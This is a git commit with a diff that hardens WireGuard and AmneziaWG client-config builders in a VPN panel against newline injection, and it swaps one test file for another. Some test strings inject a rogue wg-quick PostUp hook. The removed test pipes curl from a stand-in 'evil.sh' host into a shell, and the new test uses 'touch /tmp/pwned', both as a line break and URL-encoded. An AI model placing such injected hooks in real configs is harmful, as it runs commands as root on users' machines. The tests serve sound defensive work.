fix(wireguard): check every line of generated client configs

The WireGuard and AmneziaWG .conf builders (subscription service, clients
page, inbound modal and subscription page) checked only a few of the values
they write. Each builder now assembles the file line by line and renders
nothing when a line holds a control character, so every value is covered
whatever stored it. A decoded vpn:// payload is refused when it carries a
wg-quick hook directive, which no panel builder writes, and the subscription
page hides a config block that rendered nothing.

The inbound form now validates a WireGuard/AmneziaWG client's allowedIPs on
create and on update, including the stored clients a protocol switch keeps,
as the client endpoints already did.
This commit is contained in:
MHSanaei
2026-10-24 01:10:09 +02:00
parent 57fd61790c
commit 0faad4f4f3
12 changed files with 285 additions and 222 deletions
@@ -1,92 +0,0 @@
import { describe, expect, it } from 'vitest';
import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); every emitter must refuse to render it.
const INJECTED = 'x\nPostUp = curl evil.sh | sh';
function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
clients: [
{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
],
} as unknown as AmneziawgInboundSettings;
}
describe('AmneziaWG .conf newline-injection guard', () => {
it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
genAmneziaWGConfig({
settings: settingsWith({}, { privateKey: INJECTED }),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ primaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(
genAmneziaWGConfig({
settings: settingsWith({ secondaryDns: INJECTED }, {}),
remark: 'ok',
...base,
}),
).toBe('');
expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
'',
);
});
it('buildAmneziaWGClientConfig refuses injected fields', () => {
const inbound = (server: Record<string, unknown>) =>
({
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: {
publicKey: 'serverPubKey==',
jc: 4,
jmin: 40,
jmax: 100,
s1: 30,
s2: 90,
...server,
},
}) as unknown as InboundOption;
const client = (extra: Record<string, unknown>) =>
({
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
...extra,
}) as unknown as ClientRecord;
expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
'PrivateKey = clientPrivKey==',
);
expect(
buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
).toBe('');
expect(
buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
).toBe('');
});
});
@@ -0,0 +1,115 @@
import { describe, expect, it } from 'vitest';
import {
amneziawgConfigFromLink,
genAmneziaWGConfig,
genWireguardConfig,
wireguardConfigFromLink,
} from '@/lib/xray/inbound-link';
import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
import { buildWireguardClientConfig } from '@/pages/clients/wireguardConfig';
import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
import type { WireguardInboundSettings } from '@/schemas/protocols/inbound/wireguard';
import type { ClientRecord, InboundOption } from '@/hooks/useClients';
// A value carrying a line break adds a line such as a root PostUp to the .conf;
// node sync, an import or an external subscription can each supply one.
const INJECTED = '140232109\nPostUp = touch /tmp/pwned';
const endpoint = { address: 'vpn.example.test', port: 51820, peerIndex: 0, remark: 'peer-1' };
function awgSettings(h1: string) {
return {
server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
clients: [{ email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'] }],
} as unknown as AmneziawgInboundSettings;
}
function awgInbound(h1: string) {
return {
id: 1,
tag: 'awg-1',
remark: 'awg',
port: 51820,
protocol: 'amneziawg',
awgServer: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, h1 },
} as unknown as InboundOption;
}
function wgSettings(dns: string) {
return {
secretKey: '',
mtu: 1420,
dns,
peers: [{ privateKey: 'clientPrivKey==', allowedIPs: ['10.0.0.2/32'] }],
} as unknown as WireguardInboundSettings;
}
function wgInbound(wgDns: string) {
return {
id: 2,
tag: 'wg-1',
remark: 'wg',
port: 51820,
protocol: 'wireguard',
wgPublicKey: 'serverPubKey==',
wgDns,
} as unknown as InboundOption;
}
const client = {
email: 'peer-1',
privateKey: 'clientPrivKey==',
allowedIPs: '10.8.1.2/32',
} as unknown as ClientRecord;
function vpnLink(conf: string): string {
return `vpn://${btoa(conf).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')}`;
}
describe('.conf builders render nothing when a value carries a line break', () => {
it('genAmneziaWGConfig', () => {
expect(genAmneziaWGConfig({ settings: awgSettings('1'), ...endpoint })).toContain('H1 = 1\n');
expect(genAmneziaWGConfig({ settings: awgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildAmneziaWGClientConfig', () => {
expect(buildAmneziaWGClientConfig(client, awgInbound('1'), 'vpn.example.test')).toContain(
'H1 = 1\n',
);
expect(buildAmneziaWGClientConfig(client, awgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('genWireguardConfig', () => {
expect(genWireguardConfig({ settings: wgSettings('9.9.9.9'), ...endpoint })).toContain(
'DNS = 9.9.9.9\n',
);
expect(genWireguardConfig({ settings: wgSettings(INJECTED), ...endpoint })).toBe('');
});
it('buildWireguardClientConfig', () => {
expect(buildWireguardClientConfig(client, wgInbound('9.9.9.9'), 'vpn.example.test')).toContain(
'DNS = 9.9.9.9\n',
);
expect(buildWireguardClientConfig(client, wgInbound(INJECTED), 'vpn.example.test')).toBe('');
});
it('wireguardConfigFromLink', () => {
const link = (address: string) =>
`wireguard://PRIVKEY@203.0.113.9:51820/?address=${address}&publickey=PEERPUB&dns=1.1.1.1&allowedips=0.0.0.0%2F0`;
expect(wireguardConfigFromLink(link('10.0.0.2%2F32'))).toContain('Address = 10.0.0.2/32\n');
expect(
wireguardConfigFromLink(link('10.0.0.2%2F32%0APostUp%20%3D%20touch%20%2Ftmp%2Fpwned')),
).toBe('');
});
});
describe('amneziawgConfigFromLink', () => {
// A vpn:// payload is a whole .conf from wherever the subscription got it;
// no panel builder writes a wg-quick hook, so one in a payload was planted.
it('refuses a payload that carries a wg-quick hook directive', () => {
const clean = '[Interface]\nPrivateKey = k\nAddress = 10.8.1.2/32';
expect(amneziawgConfigFromLink(vpnLink(clean))).toBe(clean);
expect(amneziawgConfigFromLink(vpnLink(`${clean}\n postup = touch /tmp/pwned`))).toBe('');
});
});